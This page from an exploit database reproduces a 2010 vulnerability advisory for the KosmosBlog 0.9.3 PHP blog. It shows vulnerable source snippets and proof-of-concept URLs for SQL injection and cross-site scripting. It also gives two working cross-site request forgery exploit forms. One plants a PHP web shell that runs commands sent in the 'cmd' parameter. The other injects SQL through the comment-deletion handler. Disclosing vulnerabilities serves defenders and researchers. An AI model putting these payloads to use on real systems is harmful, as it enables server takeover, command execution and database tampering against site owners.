Menu

Search for hundreds of thousands of exploits

"KosmosBlog 0.9.3 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery"

Author

Exploit author

"Milos Zivanovic"

Platform

Exploit platform

php

Release date

Exploit published date

2010-01-22

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
[#-----------------------------------------------------------------------------------------------#]
[#] Title: KosmosBlog 0.9.3 (SQLi/XSS/CSRF) Multiple Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com<http://gmail.com>
[#] Date: 22. January 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: KosmosBlog
[#] Version: 0.9.3
[#] Platform: PHP
[#] Link: http://www.kosmosblog.com/KosmosBlog%20-%200.9.3.zip
[#] Vulnerability: SQL Injection, Cross Site Scripting, Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]

http://www.kosmosblog.com/index.php

[#]Content
|
|--Everybody
| |--SQL Injection
| | |--index.php (GET kategorija)
| | |--index.php (GET id)
| | |--index.php (GET monthID)
| | |--index.php (GET yearID)
| | |--register.php (POST username & email)
| |
| |--Cross Site Scripting
| |--addcomment.php (GET id)
|
|--Logged in users
|--Persistent Cross Site Scripting
| |--addcontentgo.php (POST naslov)
|
|--SQL Injection
| |--deletecontent.php (GET id)
| |--usermanager.php (GET id)
|
|--Cross Site Request Forgery To Remote Code Execution
| |--bannedusers.php
|
|--Cross Site Request Forgery To SQL Injection
|--commentsaction.php

[~] EVERYBODY

[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/mainincludes/templates/blackkosmos/indextmplt.php
if (isset($_GET['kategorija'])) {
generisivesti($_GET['kategorija']);
} elseif (isset($_GET['id'])) {
generisivesti(0,$_GET['id'],0);
// function generisivesti does not sanitize input variable before passing it to mysql query
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET kategorija)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?kategorija=[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/funkcije.php
if (isset($_GET['yearID']))
{
$date_yearID = $_GET['yearID'];
} else {
$date_yearID = $date['year'];
}

if (isset($_GET['monthID']))
{
$date_monthID = $_GET['monthID'];
} else {
$date_monthID = $date['month'];
}
....
$eventQuery = mysql_query("... LIKE '".$date_yearID."-".$date_monthID...);
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET monthID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010&monthID=2'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET yearID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010'[SQL_Injection]&monthID=2
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/register.php
$userN = $_POST['user'];
...
$mail = $_POST['mail'];
...
mysql_query("... VALUES('$userN', '$loz', '$mail', ...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]register.php (POST username & email)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/register.php
[POC----------------------------------------------------------------------------------------------]

In username and email fields we can inject our SQL code.


[*] CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcomment.php
if ($_GET['page'] == 'add'){
$link = "../index.php?id=".$_GET['id'];
}
?>
...
<META HTTP-EQUIV="refresh" content="3;URL=<?php echo $link; ?>">
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcomment.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/addcomment.php?page=add&id="[XSS]
[POC----------------------------------------------------------------------------------------------]


[~] LOGGED IN USERS

[*] PERSISTENT CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcontentgo.php
switch ($_POST['type']) {
case "blogpost":
$title = $_POST['title'];
...
$sql = "INSERT INTO main_kosmos_blog SET naslov = '$title'...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcontentgo.php (POST naslov)

When adding new post to blog, field 'naslov' is not sanitized. Here can also be used SQL Injection but, there are much better positions for SQLi attack, so i've chosen Persistent XSS for this one.


[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/deletecontent.php
$id = $_GET['id'];
...
$result = @mysql_query("SELECT * FROM main_kosmos_blog WHERE id = '".$id."' ;");
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]deletecontent.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/deletecontent.php?action=blogpost&id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/usermanager.php
$result3 = @mysql_query(...`users_kosmos_blog` WHERE id='".$_GET['id']...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]usermanager.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/usermanager.php?action=obradi&id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]


[*] CROSS SITE REQUEST FORGERY TO REMOTE CODE EXECUTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/bannedusers.php
$file=fopen("mainincludes/bannedusers.php","w");
$banned = $_POST['banned'];
fwrite ($file,$banned);
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]bannedusers.php

[EXPLOIT------------------------------------------------------------------------------------------]
<form method="post" action="http://kosmos/administration/bannedusers.php?action=process">
<input type="hidden" name="banned" value="<?php @system($_GET['cmd']); ?>">
<input type="hidden" name="type" value="link">
<input type="submit" name="submit" value="Snimi">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

After logged in user run this exploit, php code will be written into .php file and it will be ready to execute. File to run after successful exploitation:
http://kosmos/administration/mainincludes/bannedusers.php


[*] CROSS SITE REQUEST FORGERY TO SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/commentsaction.php
$id = $_POST['ids'];
...
for ($i = 0; $i < count($id); $i++) {
$idd = $id[$i];
...
$sql = "DELETE FROM `comments_kosmos_blog` WHERE id='".$idd."'";
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]commentsaction.php

[EXPLOIT------------------------------------------------------------------------------------------]
<form method="post" action="http://kosmos/administration/commentsaction.php">
<input type="hidden" name="action" value="Obriši">
<input type="hidden" name="ids[]" value="1'[SQL_Injection]">
<input type="submit" name="submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2010-02-07 "Croogo 1.2.1 - Multiple Cross-Site Request Forgery Vulnerabilities" webapps php "Milos Zivanovic"
2010-02-03 "KubeLance 1.7.6 - Cross-Site Request Forgery (Add Admin)" webapps php "Milos Zivanovic"
2010-01-22 "KosmosBlog 0.9.3 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery" webapps php "Milos Zivanovic"
2010-01-02 "eazyPortal 1.0.0 - Multiple Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-16 "eUploader PRO 3.1.1 - Cross-Site Request Forgery / Cross-Site Scripting" webapps php "Milos Zivanovic"
2009-12-16 "Recipe Script 5.0 - Arbitrary File Upload / Cross-Site Request Forgery / Cross-Site Scripting" webapps php "Milos Zivanovic"
2009-12-16 "BOLDfx Recipe Script 5.0 - Multiple Remote Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-16 "BOLDfx eUploader 3.1.1 - 'admin.php' Multiple Remote Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-15 "Ez Blog 1.0 - Cross-Site Scripting / Cross-Site Request Forgery" webapps php "Milos Zivanovic"
2009-12-15 "Ez Cart 1.0 - Multiple Cross-Site Request Forgery Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-15 "Ez News Manager / Pro - Cross-Site Request Forgery (Change Admin Password)" webapps php "Milos Zivanovic"
2009-12-15 "Scriptsez Ez FAQ Maker 1.0 - Cross-Site Scripting / Cross-Site Request Forgery" webapps php "Milos Zivanovic"
2009-12-15 "Ez Faq Maker - Multiple Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-14 "Smart PHP Subscriber - Multiple Disclosure Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-14 "Ez Guestbook 1.0 - Multiple Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-14 "Ez Poll Hoster - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-14 "Ez Poll Hoster - Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-14 "mini Hosting Panel - Cross-Site Request Forgery (Change Admin Settings)" webapps php "Milos Zivanovic"
2009-12-14 "Mail Manager Pro - Cross-Site Request Forgery (Change Admin Password)" webapps linux "Milos Zivanovic"
2009-12-13 "Chipmunk Board Script 1.x - Multiple Cross-Site Request Forgery Vulnerabilities" webapps php "Milos Zivanovic"
2009-12-13 "Frog CMS 0.9.5 - Cross-Site Request Forgery" webapps php "Milos Zivanovic"
2009-12-13 "AccStatistics 1.1 - Cross-Site Request Forgery (Change Admin Settings)" webapps php "Milos Zivanovic"
2009-12-11 "Chipmunk NewsLetter - Cross-Site Request Forgery" webapps php "Milos Zivanovic"
2009-12-11 "oBlog - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Admin Brute Force" webapps php "Milos Zivanovic"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.